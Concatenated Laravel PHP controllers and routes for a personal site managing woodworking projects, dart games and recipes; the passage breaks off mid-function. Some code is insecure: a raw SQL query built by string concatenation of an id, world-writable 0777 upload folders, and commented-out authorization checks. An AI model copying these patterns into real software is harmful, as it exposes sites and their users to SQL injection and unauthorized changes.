█████╗ ████████╗███████╗ # ██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██████╔╝█████╗ ███████║ ██║ █████╗ # ██║ ██╔══██╗██╔══╝ ██╔══██║ ██║ ██╔══╝ # ╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗ # ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ // Show the form for creating a new resource ################################################################################################################## public function create() { // find all projects categories in the categories table and pass them to the view $categories = Category::whereHas('module', function ($query) { $query->where('name', '=', 'wood projects'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $cats = []; // Store the category values into the $cats array foreach ($categories as $category) { $cats[$category->id] = $category->name; } // find all stain colors categories in the categories table and pass them to the view $stainColors = Category::whereHas('module', function ($query) { $query->where('name', '=', 'stain color'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $staincolors = []; // Store the category values into the $cats array foreach ($stainColors as $stainColor) { $staincolors[$stainColor->id] = $stainColor->name; } // find all stain sheens categories in the categories table and pass them to the view $stainSheens = Category::whereHas('module', function ($query) { $query->where('name', '=', 'stain sheen'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $stainsheens = []; // Store the category values into the $cats array foreach ($stainSheens as $stainSheen) { $stainsheens[$stainSheen->id] = $stainSheen->name; } // find all stain types categories in the categories table and pass them to the view $stainTypes = Category::whereHas('module', function ($query) { $query->where('name', '=', 'stain type'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $staintypes = []; // Store the category values into the $cats array foreach ($stainTypes as $stainType) { $staintypes[$stainType->id] = $stainType->name; } // find all wood species categories in the categories table and pass them to the view $woodSpecies = Category::whereHas('module', function ($query) { $query->where('name', '=', 'wood specie'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $woodspecies = []; // Store the category values into the $cats array foreach ($woodSpecies as $woodSpecie) { $woodspecies[$woodSpecie->id] = $woodSpecie->name; } // find all wood types categories in the categories table and pass them to the view $woodTypes = Category::whereHas('module', function ($query) { $query->where('name', '=', 'wood type'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $woodtypes = []; // Store the category values into the $cats array foreach ($woodTypes as $woodType) { $woodtypes[$woodType->id] = $woodType->name; } // find all wood types categories in the categories table and pass them to the view $finishTypes = Category::whereHas('module', function ($query) { $query->where('name', '=', 'finish type'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $finishtypes = []; // Store the category values into the $cats array foreach ($finishTypes as $finishType) { $finishtypes[$finishType->id] = $finishType->name; } // find all stain sheens categories in the categories table and pass them to the view $finishSheens = Category::whereHas('module', function ($query) { $query->where('name', '=', 'finish sheen'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $finishsheens = []; // Store the category values into the $cats array foreach ($finishSheens as $finishSheen) { $finishsheens[$finishSheen->id] = $finishSheen->name; } return view('woodProjects.create') ->withCategories($cats) ->withWoodSpecies($woodspecies) ->withWoodTypes($woodtypes) ->withStainTypes($staintypes) ->withStainColors($staincolors) ->withStainSheens($stainsheens) ->withFinishTypes($finishtypes) ->withFinishSheens($finishsheens) ; } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗██████╗ ██████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗╚██╗ ██╔╝ # ██║ ██║█████╗ ███████╗ ██║ ██████╔╝██║ ██║ ╚████╔╝ # ██║ ██║██╔══╝ ╚════██║ ██║ ██╔══██╗██║ ██║ ╚██╔╝ # ██████╔╝███████╗███████║ ██║ ██║ ██║╚██████╔╝ ██║ # ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ // Remove the specified resource from storage // Used in the index page and trashAll action to soft delete multiple records ################################################################################################################## public function destroy($id) { $project = WoodProject::find($id); //dd($project); foreach($project->projectImages as $photo) { unlink(public_path('_woodProjects/images/' . $project->id . "/" . $photo->new_name)); unlink(public_path('_woodProjects/images/thumbs/' . $project->id . "/" . $photo->new_name)); //Delete the photos of this project from the database $photo->delete(); } // Delete the project cover image and it's thumbnail unlink(public_path('_woodProjects/main_images/' . $project->main_image)); unlink(public_path('_woodProjects/main_images/thumbs/' . $project->main_image)); // Delete the IMAGES/THUMBS folder matching the project id File::deleteDirectory(public_path('_woodProjects/images/thumbs/' . $project->id)); // Delete the IMAGES folder matching the project id File::deleteDirectory(public_path('_woodProjects/images/' . $project->id)); //Delete the project from the database $project->delete(); Session::flash('success','Project and associated images have been deleted.'); return redirect()->route('woodProjects.index'); } ################################################################################################################## # ███████╗██████╗ ██╗████████╗ # ██╔════╝██╔══██╗██║╚══██╔══╝ # █████╗ ██║ ██║██║ ██║ # ██╔══╝ ██║ ██║██║ ██║ # ███████╗██████╔╝██║ ██║ # ╚══════╝╚═════╝ ╚═╝ ╚═╝ // Show the form for editing the specified resource ################################################################################################################## public function edit($id) { $project = WoodProject::find($id); // find all projects categories in the categories table and pass them to the view $categories = Category::whereHas('module', function ($query) { $query->where('name', '=', 'wood projects'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $cats = []; // Store the category values into the $cats array foreach ($categories as $category) { $cats[$category->id] = $category->name; } // find all stain colors categories in the categories table and pass them to the view $stainColors = Category::whereHas('module', function ($query) { $query->where('name', '=', 'stain color'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $staincolors = []; // Store the category values into the $cats array foreach ($stainColors as $stainColor) { $staincolors[$stainColor->id] = $stainColor->name; } // find all stain sheens categories in the categories table and pass them to the view $stainSheens = Category::whereHas('module', function ($query) { $query->where('name', '=', 'stain sheen'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $stainsheens = []; // Store the category values into the $cats array foreach ($stainSheens as $stainSheen) { $stainsheens[$stainSheen->id] = $stainSheen->name; } // find all stain types categories in the categories table and pass them to the view $stainTypes = Category::whereHas('module', function ($query) { $query->where('name', '=', 'stain type'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $staintypes = []; // Store the category values into the $cats array foreach ($stainTypes as $stainType) { $staintypes[$stainType->id] = $stainType->name; } // find all wood species categories in the categories table and pass them to the view $woodSpecies = Category::whereHas('module', function ($query) { $query->where('name', '=', 'wood specie'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $woodspecies = []; // Store the category values into the $cats array foreach ($woodSpecies as $woodSpecie) { $woodspecies[$woodSpecie->id] = $woodSpecie->name; } // find all wood types categories in the categories table and pass them to the view $woodTypes = Category::whereHas('module', function ($query) { $query->where('name', '=', 'wood type'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $woodtypes = []; // Store the category values into the $cats array foreach ($woodTypes as $woodType) { $woodtypes[$woodType->id] = $woodType->name; } // find all wood types categories in the categories table and pass them to the view $finishTypes = Category::whereHas('module', function ($query) { $query->where('name', '=', 'finish type'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $finishtypes = []; // Store the category values into the $cats array foreach ($finishTypes as $finishType) { $finishtypes[$finishType->id] = $finishType->name; } // find all stain sheens categories in the categories table and pass them to the view $finishSheens = Category::whereHas('module', function ($query) { $query->where('name', '=', 'finish sheen'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $finishsheens = []; // Store the category values into the $cats array foreach ($finishSheens as $finishSheen) { $finishsheens[$finishSheen->id] = $finishSheen->name; } return view('woodProjects.edit', compact('project')) ->withCategories($cats) ->withWoodSpecies($woodspecies) ->withWoodTypes($woodtypes) ->withStainTypes($staintypes) ->withStainColors($staincolors) ->withStainSheens($stainsheens) ->withFinishTypes($finishtypes) ->withFinishSheens($finishsheens) ; } ################################################################################################################## # ██╗███╗ ██╗██████╗ ███████╗██╗ ██╗ # ██║████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝ # ██║██╔██╗ ██║██║ ██║█████╗ ╚███╔╝ # ██║██║╚██╗██║██║ ██║██╔══╝ ██╔██╗ # ██║██║ ╚████║██████╔╝███████╗██╔╝ ██╗ # ╚═╝╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝ // Display a list of resources ################################################################################################################## public function index() { //$projects = Project::with('Images')->get(); // $projects = WoodProject::orderBy('name','asc')->get(); $projects = WoodProject::orderBy('name','asc')->paginate(8); //dd($projects); return view('woodProjects.index', compact('projects')); } ################################################################################################################## # # # MANAGE IMAGES # # # // Display a list of resources ################################################################################################################## // public function manageImages($id) // { // //$projects = Project::with('Images')->get(); // // $projects = WoodProject::orderBy('name','asc')->get(); // //$projects = WoodProject::orderBy('name','asc')->paginate(8); // //dd($projects); // $project = WoodProject::find($id); // return view('woodProjects.manageImages', compact('project')); // } ################################################################################################################## # ███╗ ██╗███████╗██╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗███████╗ ██████╗████████╗███████╗ # ████╗ ██║██╔════╝██║ ██║ ██╔══██╗██╔══██╗██╔═══██╗ ██║██╔════╝██╔════╝╚══██╔══╝██╔════╝ # ██╔██╗ ██║█████╗ ██║ █╗ ██║ ██████╔╝██████╔╝██║ ██║ ██║█████╗ ██║ ██║ ███████╗ # ██║╚██╗██║██╔══╝ ██║███╗██║ ██╔═══╝ ██╔══██╗██║ ██║██ ██║██╔══╝ ██║ ██║ ╚════██║ # ██║ ╚████║███████╗╚███╔███╔╝ ██║ ██║ ██║╚██████╔╝╚█████╔╝███████╗╚██████╗ ██║ ███████║ # ╚═╝ ╚═══╝╚══════╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚══════╝ // Display a listing of the resource that were created since the user's last login. ################################################################################################################## public function newWoodProjects(Request $request, $key=null) { // if(!checkACL('guest')) { // return view('errors.403'); // } //$alphas = range('A', 'Z'); $alphas = DB::table('woodprojects') ->select(DB::raw('DISTINCT LEFT(name, 1) as letter')) ->where('created_at', '>=' , Auth::user()->last_login_date) //->where('user_id', '=', Auth::user()->id) // ->where('personal', '!=', 1) // ->where('published_at','!=', null) ->orderBy('letter') ->get(); //dd($alphas); $letters = []; foreach($alphas as $alpha) { $letters[] = $alpha->letter; } // If $key value is passed if ($key) { $projects = WoodProject::with('category')->newWoodProjects() ->where('name', 'like', $key . '%') ->get(); return view('backend.woodProjects.newWoodProjects', compact('projects','letters')); } $projects = WoodProject::with('category')->newWoodProjects()->get(); return view('backend.woodProjects.newWoodProjects', compact('projects','letters')); } ################################################################################################################## # ███████╗██╗ ██╗ ██████╗ ██╗ ██╗ # ██╔════╝██║ ██║██╔═══██╗██║ ██║ # ███████╗███████║██║ ██║██║ █╗ ██║ # ╚════██║██╔══██║██║ ██║██║███╗██║ # ███████║██║ ██║╚██████╔╝╚███╔███╔╝ # ╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ // Display the specified resource ################################################################################################################## public function show($id) { // Set the variable so we can use a button in other pages to come back to this page //Session::put('backURL', Route::currentRouteName()); Session::put('fullURL', \Request::fullUrl()); // $project = Project::with('ImageProject')->find($id); $project = WoodProject::find($id); // dd($project); // get previous project id $previous = WoodProject::where('id', '<', $project->id)->max('id'); // get next project id $next = WoodProject::where('id', '>', $project->id)->min('id'); // Add 1 to views column DB::table('woodprojects')->where('id','=',$project->id)->increment('views',1); return view('woodProjects.show', compact('project','previous','next')); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ // Store a newly created resource in storage ################################################################################################################## public function store(CreateWoodProjectRequest $request) { // $this->validate($request, [ // 'name' => 'required', // 'description' => 'required', // 'category_id' => 'required', // 'main_image' => 'required|image|max:1999' // ]); // Get the file object $file = $request->file('main_image'); // Get file name with extension $filenameWithExt = $request->file('main_image')->getClientOriginalName(); // Get just the filename $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); // Get the extension $extension = $request->file('main_image')->getClientOriginalExtension(); // Create the new filename $filenameToStore = $filename . '_' . time() . '.' . $extension; //return $filenameToStore; // Check if Gallery/Images folders exists if (!file_exists('_woodProjects/main_images')) { mkdir('_woodProjects/main_images', 0777, true); } // move the file to the correct location $file->move('_woodProjects/main_images', $filenameToStore); // Check if Thumbs folder exists under Images if (!file_exists('_woodProjects/main_images/thumbs')) { mkdir('_woodProjects/main_images/thumbs', 0777, true); } // Create thumbnail $thumb = Image::make('_woodProjects/main_images/' . $filenameToStore) ->resize(240,160) ->save('_woodProjects/main_images/thumbs/' . $filenameToStore, 60); //Create album $project = new WoodProject; $project->category_id = $request->input('category_id'); $project->name = $request->input('name'); $project->description = $request->input('description'); $project->main_image = $filenameToStore; $project->time_invested = $request->input('time_invested'); $project->price = $request->input('price'); $project->wood_specie_id = $request->input('wood_specie_id'); $project->wood_type_id = $request->input('wood_type_id'); $project->width = $request->input('width'); $project->depth = $request->input('depth'); $project->height = $request->input('height'); $project->stain_type_id = $request->input('stain_type_id'); $project->stain_color_id = $request->input('stain_color_id'); $project->stain_sheen_id = $request->input('stain_sheen_id'); $project->finish_type_id = $request->input('finish_type_id'); $project->finish_sheen_id = $request->input('finish_sheen_id'); $project->completed_at = $request->input('completed_at'); $project->weight = $request->input('weight'); $project->save(); Session::flash('success','Project created.'); return redirect()->route('woodProjects.index'); } ################################################################################################################## # ███████╗████████╗ ██████╗ ██████╗ ███████╗ ██████╗ ██████╗ ███╗ ███╗███╗ ███╗███████╗███╗ ██╗████████╗ # ██╔════╝╚══██╔══╝██╔═══██╗██╔══██╗██╔════╝ ██╔════╝██╔═══██╗████╗ ████║████╗ ████║██╔════╝████╗ ██║╚══██╔══╝ # ███████╗ ██║ ██║ ██║██████╔╝█████╗ ██║ ██║ ██║██╔████╔██║██╔████╔██║█████╗ ██╔██╗ ██║ ██║ # ╚════██║ ██║ ██║ ██║██╔══██╗██╔══╝ ██║ ██║ ██║██║╚██╔╝██║██║╚██╔╝██║██╔══╝ ██║╚██╗██║ ██║ # ███████║ ██║ ╚██████╔╝██║ ██║███████╗ ╚██████╗╚██████╔╝██║ ╚═╝ ██║██║ ╚═╝ ██║███████╗██║ ╚████║ ██║ # ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝ ╚═╝ ################################################################################################################## // public function storeComment(CreateCommentRequest $request, $id) public function storeComment(CreateCommentRequest $request, $id) { //dd($id); $project = woodProject::find($id); //dd($project); $comment = new Comment(); // $comment->name = $request->name; // $comment->email = $request->email; $comment->user_id = Auth::user()->id; $comment->comment = $request->comment; $project->comments()->save($comment); $comment->save(); // Save entry to log file using built-in Monolog // if (Auth::check()) { // Log::info(Auth::user()->username . " (" . Auth::user()->id . ") commented on post (" . $post->id . ")\r\n", [json_decode($comment, true)]); // } else { // Log::info(Request::ip() . " commented on post " . $post->id); // } Session::flash('success', 'Comment added succesfully.'); return redirect()->route('woodProjects.show', $project->id); } ################################################################################################################## # ██╗ ██╗██████╗ ██████╗ █████╗ ████████╗███████╗ # ██║ ██║██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██║██████╔╝██║ ██║███████║ ██║ █████╗ # ██║ ██║██╔═══╝ ██║ ██║██╔══██║ ██║ ██╔══╝ # ╚██████╔╝██║ ██████╔╝██║ ██║ ██║ ███████╗ # ╚═════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ // UPDATE :: Update the specified resource in storage ################################################################################################################## public function update(UpdateWoodProjectRequest $request, $id) { // $this->validate($request, [ // 'name' => 'required', // 'description' => 'required', // 'category_id' => 'required', // 'main_image' => 'sometimes|image|max:1999' // ]); // if(!checkACL('author')) { // return view('errors.403'); // } //dd($request->ref); if($request->file('main_image')) { $project = WoodProject::find($id); // Delete the project cover image and it's thumbnail unlink(public_path('_woodProjects/main_images/' . $project->main_image)); unlink(public_path('_woodProjects/main_images/thumbs/' . $project->main_image)); // Get the file object $file = $request->file('main_image'); // Get file name with extension $filenameWithExt = $request->file('main_image')->getClientOriginalName(); // Get just the filename $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); // Get the extension $extension = $request->file('main_image')->getClientOriginalExtension(); // Create the new filename $filenameToStore = $filename . '_' . time() . '.' . $extension; //return $filenameToStore; // Check if Gallery/Images folders exists if (!file_exists('_woodProjects/main_images')) { mkdir('_woodProjects/main_images', 0777, true); } // move the file to the correct location $file->move('_woodProjects/main_images', $filenameToStore); // Check if Thumbs folder exists under Images if (!file_exists('_woodProjects/main_images/thumbs')) { mkdir('_woodProjects/main_images/thumbs', 0777, true); } // Create thumbnail $thumb = Image::make('_woodProjects/main_images/' . $filenameToStore) ->resize(240,160) ->save('_woodProjects/main_images/thumbs/' . $filenameToStore, 60); } $project = WoodProject::findOrFail($id); $project->category_id = $request->input('category_id'); $project->name = $request->input('name'); $project->description = $request->input('description'); if ($request->file('main_image')) { $project->main_image = $filenameToStore; } $project->time_invested = $request->input('time_invested'); $project->price = $request->input('price'); $project->wood_specie_id = $request->input('wood_specie_id'); $project->wood_type_id = $request->input('wood_type_id'); $project->width = $request->input('width'); $project->depth = $request->input('depth'); $project->height = $request->input('height'); $project->stain_type_id = $request->input('stain_type_id'); $project->stain_color_id = $request->input('stain_color_id'); $project->stain_sheen_id = $request->input('stain_sheen_id'); $project->finish_type_id = $request->input('finish_type_id'); $project->finish_sheen_id = $request->input('finish_sheen_id'); $project->completed_at = $request->input('completed_at'); $project->weight = $request->input('weight'); $project->save(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") UPDATED article (" . $article->id . ")\r\n", // [json_decode($article, true)] //); Session::flash('success','The project has been updated successfully.'); //return redirect()->route($request->ref); return redirect()->route('woodProjects.index'); } } <file_sep><?php // CATEGORIES // Route::get('category/{id}', ['uses' => 'CategoriesController@show', 'as' => 'categories.show']); Route::group(['prefix'=>'categories'], function() { Route::get('{id}/delete', 'CategoriesController@delete') ->name('delete'); Route::get('exportPDF', 'CategoriesController@exportPDF') ->name('exportPDF'); Route::get('import', 'CategoriesController@import') ->name('import'); Route::get('downloadExcel/{type}', 'CategoriesController@downloadExcel') ->name('downloadExcel'); Route::post('importExcel', 'CategoriesController@importExcel') ->name('importExport'); Route::get('newCategories', 'CategoriesController@newCategories') ->name('newCategories'); }); Route::resource('categories', 'CategoriesController');<file_sep><?php namespace App\Http\Controllers; use DB; use Session; use App\DartGame; use App\DartScore; use App\User; use Illuminate\Http\Request; class DartGamesController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ // public function index() // { // $games = Dartgame::orderby('id','desc')->get(); // return view('darts.games.01.index', compact('games')); // } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $users = User::with('profile')->where('id', '!=', 1)->orderby('username','asc')->get(); return view('darts.games.01.create', compact('users')); } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @return \Illuminate\Http\Response */ public function store(Request $request) { $game = new DartGame; $game->type = $request->type; $game->t1_players = $request->t1_players; $game->t2_players = $request->t2_players; $game->status = 'New'; //dd($game); $game->save(); Session::flash('success','The game has been created.'); return redirect()->route('dartgames.01.selectPlayers', $game->id); } public function selectPlayers($game_id) { // $gameID = $game_id; //dd($gameID); $game = DartGame::find($game_id); $players = User::with('profile')->where('id', '!=', 1)->orderby('username', 'asc')->get(); return view('darts.games.01.selectPlayers', compact('players','game')); } public function storePlayers(Request $request) { //dd($request); $game = DartGame::find($request->game_id); //dd($game); if (isset($request->team1players)) { foreach($request->team1players as $player) { DB::insert('insert into dartgame_user (dartgame_id, team_id, user_id) values (?, ?, ?)', [$game->id, 1, $player]); } } if (isset($request->team2players)) { foreach($request->team2players as $player) { DB::insert('insert into dartgame_user (dartgame_id, team_id, user_id) values (?, ?, ?)', [$game->id, 2, $player]); } } Session::flash('success','The game has been created.'); return redirect()->route('dartgames.01.index'); } /** * Display the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function show($id) { // } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { // } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // if(!checkACL('manager')) { // return view('errors.403'); // } $game = DartGame::find($id); $game->delete(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") DELETED category (" . $category->id . ")\r\n", [$category = json_decode($category, true)]); Session::flash('success', 'The game and related entries were successfully deleted!'); return redirect()->route('dartgames.01.index'); } } <file_sep><?php namespace App\Http\Controllers\Backend; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Input; use App\Category; use App\Module; use App\Recipe; use App\User; use Carbon\Carbon; use Auth; use DB; use Excel; use File; use Image; use JavaScript; use Log; use PDF; use Purifier; use Session; use Storage; use Table; use URL; use App\Http\Requests\CreateRecipeRequest; use App\Http\Requests\UpdateRecipeRequest; class RecipesController extends Controller { ################################################################################################################## # ██████╗ ██████╗ ███╗ ██╗███████╗████████╗██████╗ ██╗ ██╗ ██████╗████████╗ # ██╔════╝██╔═══██╗████╗ ██║██╔════╝╚══██╔══╝██╔══██╗██║ ██║██╔════╝╚══██╔══╝ # ██║ ██║ ██║██╔██╗ ██║███████╗ ██║ ██████╔╝██║ ██║██║ ██║ # ██║ ██║ ██║██║╚██╗██║╚════██║ ██║ ██╔══██╗██║ ██║██║ ██║ # ╚██████╗╚██████╔╝██║ ╚████║███████║ ██║ ██║ ██║╚██████╔╝╚██████╗ ██║ # ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ################################################################################################################## public function __construct() { // only allow authenticated users to access these pages //$this->middleware('auth', ['except'=>['index','show']]); // changing auth to guest would only allow guests to access these pages // you can also restrict the actions by adding ['except' => 'name_of_action'] at the end $this->middleware('auth'); //Log::useFiles(storage_path().'/logs/articles.log'); //Log::useFiles(storage_path().'/logs/audits.log'); } ################################################################################################################## # █████╗ ██████╗ ██████╗ ███████╗ █████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗████████╗███████╗ # ██╔══██╗██╔══██╗██╔══██╗ ██╔════╝██╔══██╗██║ ██║██╔═══██╗██╔══██╗██║╚══██╔══╝██╔════╝ # ███████║██║ ██║██║ ██║ █████╗ ███████║██║ ██║██║ ██║██████╔╝██║ ██║ █████╗ # ██╔══██║██║ ██║██║ ██║ ██╔══╝ ██╔══██║╚██╗ ██╔╝██║ ██║██╔══██╗██║ ██║ ██╔══╝ # ██║ ██║██████╔╝██████╔╝ ██║ ██║ ██║ ╚████╔╝ ╚██████╔╝██║ ██║██║ ██║ ███████╗ # ╚═╝ ╚═╝╚═════╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝ ╚══════╝ ################################################################################################################## public function addfavorite($id) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); //dd($ref); $user = Auth::user()->id; $recipe = Recipe::find($id); $recipe->favorites()->sync([$user], false); Session::flash ('success','The recipe was successfully added to your Favorites list!'); // return redirect()->route('backend.articles.index'); //return redirect()->route($ref, ['id'=>$id]); //return redirect()->route('profile', ['id' => 1]); return redirect()->back(); } ################################################################################################################## # ██████╗██████╗ ███████╗ █████╗ ████████╗███████╗ # ██╔════╝██╔══██╗██╔════╝██╔══██╗╚══██╔══╝██╔════╝ # ██║ ██████╔╝█████╗ ███████║ ██║ █████╗ # ██║ ██╔══██╗██╔══╝ ██╔══██║ ██║ ██╔══╝ # ╚██████╗██║ ██║███████╗██║ ██║ ██║ ███████╗ # ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ // Show the form for creating a new resource ################################################################################################################## public function create() { // if(!checkACL('author')) { // return view('errors.403'); // } // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); // find all categories in the categories table and pass them to the view $categories = Category::whereHas('module', function ($query) { $query->where('name', '=', 'recipes'); })->orderBy('name','asc')->get(); // Create an empty array to store the categories $cats = []; // Store the category values into the $cats array foreach ($categories as $category) { $cats[$category->id] = $category->name; } return view('backend.recipes.create')->withCategories($cats)->withRef($ref); } ################################################################################################################## # ██████╗ ███████╗██╗ ███████╗████████╗███████╗ █████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██║ ██╔════╝╚══██╔══╝██╔════╝ ██╔══██╗██║ ██║ # ██║ ██║█████╗ ██║ █████╗ ██║ █████╗ ███████║██║ ██║ # ██║ ██║██╔══╝ ██║ ██╔══╝ ██║ ██╔══╝ ██╔══██║██║ ██║ # ██████╔╝███████╗███████╗███████╗ ██║ ███████╗ ██║ ██║███████╗███████╗ # ╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝╚══════╝╚══════╝ // Mass Delete selected rows - all selected records ################################################################################################################## public function deleteAll(Request $request) { // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); //dd('TEST_DELETE'); $this->validate($request, [ 'checked' => 'required', ]); //dd('TEST_DELETE'); $checked = $request->input('checked'); //dd($checked); // $article = Article::withTrashed()->findOrFail($checked); //Article::destroy($checked); Recipe::whereIn('id', $checked)->forceDelete(); Session::flash('success','The recipes were deleted successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██████╗ ███████╗██╗ ███████╗████████╗███████╗ ████████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗ # ██╔══██╗██╔════╝██║ ██╔════╝╚══██╔══╝██╔════╝ ╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗ # ██║ ██║█████╗ ██║ █████╗ ██║ █████╗ ██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║ # ██║ ██║██╔══╝ ██║ ██╔══╝ ██║ ██╔══╝ ██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║ # ██████╔╝███████╗███████╗███████╗ ██║ ███████╗ ██║ ██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝ # ╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ // Permanently remove the specified resource from storage - individual record ################################################################################################################## public static function deleteTrashed($id) { // if(!checkACL('manager')) { // return view('errors.403'); // } //dd($id); $recipe = Recipe::withTrashed()->findOrFail($id); $recipe->forceDelete(); Session::flash ('success','The recipe was deleted successfully.'); return redirect()->route('backend.recipes.trashed'); } ################################################################################################################## # ██████╗ ███████╗███████╗████████╗██████╗ ██████╗ ██╗ ██╗ # ██╔══██╗██╔════╝██╔════╝╚══██╔══╝██╔══██╗██╔═══██╗╚██╗ ██╔╝ # ██║ ██║█████╗ ███████╗ ██║ ██████╔╝██║ ██║ ╚████╔╝ # ██║ ██║██╔══╝ ╚════██║ ██║ ██╔══██╗██║ ██║ ╚██╔╝ # ██████╔╝███████╗███████║ ██║ ██║ ██║╚██████╔╝ ██║ # ╚═════╝ ╚══════╝╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ // Remove the specified resource from storage // Used in the index page and trashAll action to soft delete multiple records ################################################################################################################## public function destroy($id) { // if(!checkACL('author')) { // return view('errors.403'); // } // Pass along the ROUTE value of the previous page $ref = app('router')->getRoutes()->match(app('request')->create(URL::previous()))->getName(); $recipe = Recipe::findOrFail($id); $recipe->published_at = Null; // Delete related favorites $favorites = DB::select('select * from recipe_user where recipe_id = '. $id, [1]); foreach($favorites as $favorite) { $recipe->favoriteRecipes()->detach($favorite); } $recipe->save(); $recipe->delete(); // Save entry to log file using built-in Monolog //Log::info(Auth::user()->username . " (" . Auth::user()->id . ") DELETED article (" . $article->id . ")\r\n", // [json_decode($article, true)] //); Session::flash('success','The recipe was trashed successfully.'); return redirect()->route($ref); } ################################################################################################################## # ██████╗ ██████╗ ██╗ ██╗███╗ ██╗██╗ ██████╗ █████╗ ██████╗ ███████╗██╗ ██╗ ██████╗███████╗██╗ # ██╔══██╗██╔═══██╗██║ ██║████╗ ██║██║ ██╔═══██╗██╔══██╗██╔══██╗ ██╔════╝╚██╗██╔╝██╔════╝██╔════╝██║ # ██║ ██║██║ ██║██║ █╗ ██║██╔██╗ ██║██║ ██║ ██║███████║██║ ██║ █████╗ ╚███╔╝ ██║ █████╗ ██║ # ██║ ██║██║ ██║██║███╗██║██║╚██╗██║██║ ██║ ██║██╔══██║██║ ██║ ██╔══╝ ██╔██╗ ██║ ██╔══╝ ██║ # ██████╔╝╚██████╔╝╚███╔███╔╝██║ ╚████║███████╗╚██████╔╝██║ ██║██████╔╝ ███████╗██╔╝ ██╗╚██████╗███████╗███████╗ # ╚═════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝╚═╝ ╚═╝ ╚═════╝╚══════╝╚══════╝ ################################################################################################################## public function 